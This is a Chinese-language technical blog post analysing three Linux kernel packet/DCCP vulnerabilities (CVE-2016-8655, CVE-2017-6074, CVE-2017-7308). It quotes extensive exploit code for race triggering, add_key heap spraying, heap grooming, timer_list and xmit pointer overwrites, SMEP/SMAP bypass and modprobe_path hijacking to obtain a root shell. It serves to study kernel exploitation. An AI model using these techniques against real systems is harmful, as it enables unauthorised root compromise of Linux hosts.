前言

CVE-2016-8655/CVE-2017-6074/CVE-2017-7308都是linux内核中与网络协议有关的漏洞,并且EXP都采用了覆盖timer_list结构体中函数的方法,本文试图通过分析这几个漏洞和读者一起学习。
linux内核使用timer_list结构体做为定时器。

struct timer_list {
    /*
     * All fields that change during normal runtime grouped to the
     * same cacheline
     */
    struct hlist_node   entry;
    unsigned long       expires;
    void            (*function)(unsigned long);
    unsigned long       data;
    u32         flags;
    int         slack;

#ifdef CONFIG_TIMER_STATS
    int         start_pid;
    void            *start_site;
    char            start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
    struct lockdep_map  lockdep_map;
#endif
};

我们重点关注前几个成员:entry是定时器链表的入口,expires是定时器到期时间,function是定时器处理函数,data是传给定时器处理函数的参数。定时器到期时,function就会被执行。下面我们就来看看这个结构体在内核漏洞利用中的使用。

内核调试方法

有下面几种常用的内核调试方法可供选择:
1.自己编译内核使用qemu+busybox调试,可参考https://www.anquanke.com/post/id/85837
2.使用virtualbox/vmware搭建两台虚拟机用串口通信调试,可参考https://www.anquanke.com/post/id/105342
3.使用vmware提供的gdb stub调试,可参考https://www.anquanke.com/post/id/92755
不过最后一种方法需要物理机也是linux系统。使用virtualbox用串口通信调试的设置和vmware略有不同,host和target的设置如下。


先启动target再启动host。

CVE-2016-8655

关于这个漏洞已经有比较详细的文章了,这里再和大家详细分析一下。
packet_set_ring函数在创建ringbuffer的时候,如果packet版本为TPACKET_V3会初始化定时器。

case TPACKET_V3:
        /* Transmit path is not supported. We checked
         * it above but just being paranoid
         */
            if (!tx_ring)
                init_prb_bdqc(po, rb, pg_vec, req_u);
            break;
        default:
            break;

调用路径:packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()->init_timer()。
关闭socket时会再次调用packet_set_ring函数,如果packet的版本大于TPACKET_V2,内核会在队列中注销掉先前的定时器。

if (closing && (po->tp_version > TPACKET_V2)) {
        /* Because we don't support block-based V3 on tx-ring */
        if (!tx_ring)
            prb_shutdown_retire_blk_timer(po, rb_queue);
    }

调用路径:packet_set_ring()->prb_shutdown_retire_blk_timer()->prb_del_retire_blk_timer()->del_timer_sync()->del_timer()。
但是中间这段时间如果其它线程调用setsockopt将packet设为TPACKET_V1,前面初始化的定时器就不会在内核队列中注销,过期时就会触发定时器中回调函数的执行。这样,在timer_list结构体上就形成了UAF,可以使用堆喷射的方法把function替换为我们想要执行的函数。EXP中触发漏洞的代码如下。

void *vers_switcher(void *arg)
{
    int val,x,y;

    while(barrier) {}

    while(1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        y++;

        if(x != 0) break;

        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        if(x != 0) break;

        y++;
    }

    fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
    vers_switcher_done = 1;


    return NULL;
}

具体喷射用的是add_key函数。

#define BUFSIZE 1408
char exploitbuf[BUFSIZE];

void kmalloc(void)
{
    while(1)
        syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}

这里的exploitbuf是1408个字节但是指定的长度是1408-24个字节,因为在add_key函数中会调用到user_preparse函数,它会先创建大小为24字节的user_key_payload结构体。

/*
 * Preparse a user defined key payload
 */
int user_preparse(struct key_preparsed_payload *prep)
{
    struct user_key_payload *upayload;
    size_t datalen = prep->datalen;

    if (datalen <= 0 || datalen > 32767 || !prep->data)
        return -EINVAL;

    upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
    if (!upayload)
        return -ENOMEM;

    /* attach the data */
    prep->quotalen = datalen;
    prep->payload.data[0] = upayload;
    upayload->datalen = datalen;
    memcpy(upayload->data, prep->data, datalen);
    return 0;
}
EXPORT_SYMBOL_GPL(user_preparse);

timer_list结构体相对于exploitbuf的偏移是0x35E个字节,因为data在user_key_payload结构体中的偏移是0x12个字节, 而timer_list结构体在packet_sock结构体中的偏移是0x370个字节(0x35E+0x12=0x370)。

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short  datalen;    /* length of this data */
    char        data[0];    /* actual data */
};


第一次触发漏洞,通过调用set_memory_rw函数将vsyscall页设置成可写属性页。



然后再修改vsyscall页内容为构造的ctl_table结构体的数据,将data设置为moprobe_path(/sbin/modprobe)。

void wrapper(void)
{
    struct ctl_table *c;

    fprintf(stderr,"exploit starting\n");
    printf("making vsyscall page writable..\n\n");

    exploit(off->set_memory_rw, VSYSCALL, verify_stage1);

    printf("\nstage 1 completed\n");

    sleep(5);

    printf("registering new sysctl..\n\n");

    c = (struct ctl_table *)(VSYSCALL+0x850);

    memset((char *)(VSYSCALL+0x850), '\x00', 1952);

    strcpy((char *)(VSYSCALL+0xf00),"hack");
    memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
    c->procname = (char *)(VSYSCALL+0xf00);
    c->mode = 0666;
    c->proc_handler = (void *)(off->proc_dostring);
    c->data = (void *)(off->modprobe_path);
    c->maxlen=256;
    c->extra1 = (void *)(VSYSCALL+0xe00);
    c->extra2 = (void *)(VSYSCALL+0xd00);

    exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);

    printf("stage 2 completed\n");
}

第二次触发漏洞,通过调用register_sysctl_table函数注册构造的ctl_table结构体对应的sysctl条目。



然后再把/proc/sys/hack改成当前程序的路径,调用socket函数引用未被内核加载的网络驱动模块,内核会依次调用:inet_create -> request_module -> call_modprobe -> call_usermodehelper_setup, call_usermodehelper_exec -> call_usermodehelper_exec_work -> call_usermodehelper_exec_async -> do_execve。
在call_usermodehelper_exec_async中调用do_execve之前会调用commit_creds(prepare_kernel_cred(0))。而call_modprobe中指定的modprobe_path是/sbin/modprobe,被替换成了poc程序的绝对路径,于是poc程序就以root权限运行了。这种方法是在New Reliable Android Kernel Root Exploitation Techniques中提出的。

void launch_rootshell(void)
{
    int fd;
    char buf[256];
    struct stat s;


    fd = open("/proc/sys/hack",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"could not open /proc/sys/hack\n");
        exit(-1);
    }

    memset(buf,'\x00', 256);

    readlink("/proc/self/exe",(char *)&buf,256);

    write(fd,buf,strlen(buf)+1);

    socket(AF_INET,SOCK_STREAM,132);

    if(stat(buf,&s) == 0 && s.st_uid == 0) {
        printf("binary executed by kernel, launching rootshell\n");
        lseek(fd, 0, SEEK_SET);
        write(fd,"/sbin/modprobe",15);
        close(fd);
        execl(buf,buf,NULL);
    }

    else
        printf("could not create rootshell\n");


}

CVE-2017-6074

在dccp_rcv_state_process函数中,如果dccp_v6_conn_request函数成功返回就会调用__kfree_skb函数强制释放skb。

if (sk->sk_state == DCCP_LISTEN) {
        if (dh->dccph_type == DCCP_PKT_REQUEST) {
            if (inet_csk(sk)->icsk_af_ops->conn_request(sk,
                                    skb) < 0)
                return 1;
            goto discard;
......
discard:
        __kfree_skb(skb);
    }
    return 0;
}

EXPORT_SYMBOL_GPL(dccp_rcv_state_process);

如果socket设置了IPV6_RECVPKTINFO则skb被保存到ireq->pktopts并且引用计数+1。然而,dccp_rcv_state_process函数仍然会把skb释放掉,造成了UAF。

if (ipv6_opt_accepted(sk, skb, IP6CB(skb)) ||
        np->rxopt.bits.rxinfo || np->rxopt.bits.rxoinfo ||
        np->rxopt.bits.rxhlim || np->rxopt.bits.rxohlim) {
        atomic_inc(&skb->users);
        ireq->pktopts = skb;

我们可以使用同样的方法利用这个漏洞,这一次把timer_list结构体中的function替换为native_write_cr4禁用SMEP&SMAP。


然后通过覆盖skb_shared_info结构体中的函数指针使得在释放skb时执行被替换后的用户态中的提权函数。

CVE-2017-7308

packet_set_ring函数中存在一处整数溢出。

if (po->tp_version >= TPACKET_V3 &&
            (int)(req->tp_block_size -
              BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
            goto out;

这个检查过程的目的是确保内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小。然而,这个检查是可以绕过的。

A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0

在调试器中观察一下。


之前在CVE-2016-8655中我们说到packet_set_ring函数在创建ringbuffer的时候,如果packet版本为TPACKET_V3会初始化定时器。

case TPACKET_V3:
        /* Transmit path is not supported. We checked
         * it above but just being paranoid
         */
            if (!tx_ring)
                init_prb_bdqc(po, rb, pg_vec, req_u);
            break;
        default:
            break;

之后,在init_prb_bdqc函数中req_u->req3.tp_sizeof_priv会被复制到p1->blk_sizeof_priv。由于后者的类型是unsigned short,因此可以将其设置为任意值。p1->blk_sizeof_priv刚被赋值紧接着就会用来设置p1->max_frame_len变量的值。p1->max_frame_len的值代表可以保存到内存块中的某个帧大小的最大值。由于我们可以控制p1->blk_sizeof_priv,我们可以使BLK_PLUS_PRIV(p1->blk_sizeof_priv)的值大于p1->kblk_size的值。这样会设置p1->max_frame_len为一个比内存块的大小更大的值。

static void init_prb_bdqc(struct packet_sock *po,
            struct packet_ring_buffer *rb,
            struct pgv *pg_vec,
            union tpacket_req_u *req_u)
{
    struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
    struct tpacket_block_desc *pbd;

    memset(p1, 0x0, sizeof(*p1));
......
    p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;

    p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
......
}

当某个帧被拷贝到内存块中时就可以绕过对它的大小检测,最终导致内核堆越界写入。

static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt, struct net_device *orig_dev)
{
......
    } else if (unlikely(macoff + snaplen >
                GET_PBDQC_FROM_RB(&po->rx_ring)->max_frame_len)) {
......
    skb_copy_bits(skb, 0, h.raw + macoff, snaplen);
......
}

prb_open_block函数用来初始化一个内存块。当内核收到新的数据包时,数据包的写入地址存放在pkc1->nxt_offset中。内核不想覆盖内存块头部以及内存块对应的私有数据,因此它会将这个地址指向紧挨着头部和私有数据之后的那个地址。由于我们可以控制pkc1->blk_sizeof_priv,因此也可以控制pkc1->nxt_offset的最低的两个字节。这样我们就能够控制越界写入的偏移量。

static void prb_open_block(struct tpacket_kbdq_core *pkc1,
    struct tpacket_block_desc *pbd1)
{
......
    pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
......
}

漏洞的利用方法是利用堆越界写入覆盖内存中与溢出内存块临近的那个函数指针。因此需要对堆进行精确布局,使得某些带有可触发函数指针的对象被精确放置在某个环形缓冲区之后。这里使用packet_sock结构体作为这类对象。我们需要找到一种办法,使得内核将一个环形缓冲区内存块和一个packet_sock结构体分配在一起。

环形缓冲区内存块通过buddy分配器进行分配,它可以为内存块分配2^n个连续的内存页面。对于每个n值,分配器会为这类内存块维护一个freelist表,并在请求内存块时返回freelist表头。如果某个n值对应的freelist为空,分配器就会查找第一个满足m>n且其freelist不为空的值,然后将它分为两半,直到所需的大小得到满足。因此,如果我们一直以2^n大小重复分配内存块,那么在某些时候,这些内存块会由某个高位内存块分裂所得,且这些内存块会彼此相邻。


packet_sock结构体是通过slab分配器使用kmalloc函数进行分配的。slab分配器主要用于分配比单内存页还小的那些对象。它使用buddy分配器分配一大块内存,然后切割这块内存,生成较小的对象。大的内存块称之为slabs,这也就是slab分配器的名称来源。一组slabs与它们的当前状态以及一组操作(分配对象/释放对象)一起,统称为一个缓存。slab分配器会按照2^n大小,为对象创建一组通用的缓存。每当kmalloc函数被调用时,slab分配器会将size调整到与2的幂最为接近的一个值,使用这个size作为缓存的大小。由于内核一直使用的都是kmalloc函数,如果我们试图分配一个对象,那么这个对象很有可能会来自于之前已经创建的一个slab中。然而,如果我们一直分配同样大小的对象,那么在某些时候,slab分配器将会将同样大小的slab全部用光,然后不得不使用buddy分配器分配另一个slab。新创建的slab的大小取决于这个slab所用的对象大小。packet_sock结构体的大小大约为1920,而1024 < 1920 <= 2048,这意味着对象的大小会调整到2048,并且会使用kmalloc-2048缓存。对于这个特定的缓存,SLUB分配器(这个分配器是Ubuntu所使用的slab分配器)会使用大小为0x8000的slabs。因此每当分配器用光kmalloc-2048缓存的slab时,它就会使用buddy分配器分配0x8000字节的空间。
漏洞利用过程如下:
1.分配许多大小为2048的对象(这里是512个),填充当前kmalloc-2048缓存中存在的slabs。

#define KMALLOC_PAD         512

kmalloc_pad(KMALLOC_PAD);

void kmalloc_pad(int count) {
    int i;
    for (i = 0; i < count; i++)
        packet_sock_kmalloc();
}

int packet_sock_kmalloc() {
    int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (s == -1) {
        dprintf("[-] socket(SOCK_DGRAM)\n");
        exit(EXIT_FAILURE);
    }
    return s;
}

2.分配许多大小为0x8000的页面内存块(这里是1024个),耗尽buddy分配器的freelists,使得某些高位页面内存块被拆分。

#define PAGEALLOC_PAD           1024

pagealloc_pad(PAGEALLOC_PAD);

void pagealloc_pad(int count) {
    packet_socket_setup(0x8000, 2048, count, 0, 100);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        dprintf("[-] socket(AF_PACKET)\n");
        exit(EXIT_FAILURE);
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
        sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        dprintf("[-] bind(AF_PACKET)\n");
        exit(EXIT_FAILURE);
    }

    return s;
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
        unsigned int frame_size, unsigned int block_nr,
        unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        dprintf("[-] setsockopt(PACKET_VERSION)\n");
        exit(EXIT_FAILURE);
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        dprintf("[-] setsockopt(PACKET_RX_RING)\n");
        exit(EXIT_FAILURE);
    }
}

3.创建一个socket,附加一个环形缓冲区,有两块大小为0x8000的内存块。第二个内存块是需要溢出的那个内存块。如果将nxt_offset指向内存块的尾部,那么当第一个数据包正在接收时,第一个内存块会马上被关闭,因为内核会认为第一个内存块中没有任何空余的空间。所以创建一个具备两个内存块的环形缓冲区,第一个内存块会被关闭,第二个内存块会被覆盖。

int oob_setup(int offset) {
    unsigned int maclen = ETH_HDR_LEN;
    unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
                (maclen < 16 ? 16 : maclen));
    unsigned int macoff = netoff - maclen;
    unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
        0x8000 - BLK_HDR_LEN - macoff + offset;
    return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);

4.创建一些socket分配packet_sock结构体,最终导致至少有一个新的slab被分配。这个时候我们就把由buddy分配器分配的环形缓冲区和由slab分配器分配的packet_sock结构体放在了一起。由于当前正在存放到环形缓冲区中的数据为正在通过特定网络接口的数据包,可以通过回环接口使用原始套接字手动发送具有任意内容的数据包。如果在一个隔离的网络命名空间中执行这个操作就不会受到外部网络流量干扰。仍然使用前面覆盖timer_list结构体的方法绕过SMEP&SMAP。

void oob_timer_execute(void *func, unsigned long arg) {
    oob_setup(2048 + TIMER_OFFSET - 8);//B78

    int i;
    for (i = 0; i < 32; i++) {
        int timer = packet_sock_kmalloc();
        packet_sock_timer_schedule(timer, 1000);
    }

    char buffer[2048];
    memset(&buffer[0], 0, sizeof(buffer));

    struct timer_list *timer = (struct timer_list *)&buffer[8];
    timer->function = func;
    timer->data = arg;
    timer->flags = 1;

    oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

    sleep(1);
}



这里不知道大家注意到没有,rdx减去pkblk_end是0xb7a,而在EXP中设置的2048+TIMER_OFFSET-8=0xb78,因为对齐所以差了两个字节,后面oob_write把这两个字节补回来了。


5.再次利用漏洞覆盖packet_sock->xmit函数,使之去执行被替换后的用户态中的提权函数。

void oob_id_match_execute(void *func) {
    int s = oob_setup(2048 + XMIT_OFFSET - 64);

    int ps[32];

    int i;
    for (i = 0; i < 32; i++)
        ps[i] = packet_sock_kmalloc();

    char buffer[2048];
    memset(&buffer[0], 0, 2048);

    void **xmit = (void **)&buffer[64];
    *xmit = func;

    oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

    for (i = 0; i < 32; i++)
        packet_sock_id_match_trigger(ps[i]);
}

void packet_sock_id_match_trigger(int s) {
    char buffer[16];
    packet_socket_send(s, &buffer[0], sizeof(buffer));
}



总结

本文我们分析了linux内核关于网络协议中的三个漏洞,它们使用了覆盖packet_sock结构体中的timer_list结构体中的函数实现提权的方法。有别于可能更常见的stack pivot之后通过ROP链禁用SMEP的方法,这种方法能同时禁用SMEP和SMAP,也具有更好的稳定性。作者水平有限,如有不当还请指正。

参考

https://www.anquanke.com/post/id/85162
https://www.exploit-db.com/exploits/40871/
https://www.exploit-db.com/exploits/41458/
https://www.openwall.com/lists/oss-security/2017/02/22/3
https://github.com/bcoles/kernel-exploits/blob/master/CVE-2017-7308/poc.c
https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html

点击收藏 | 0 关注 | 1
登录 后跟帖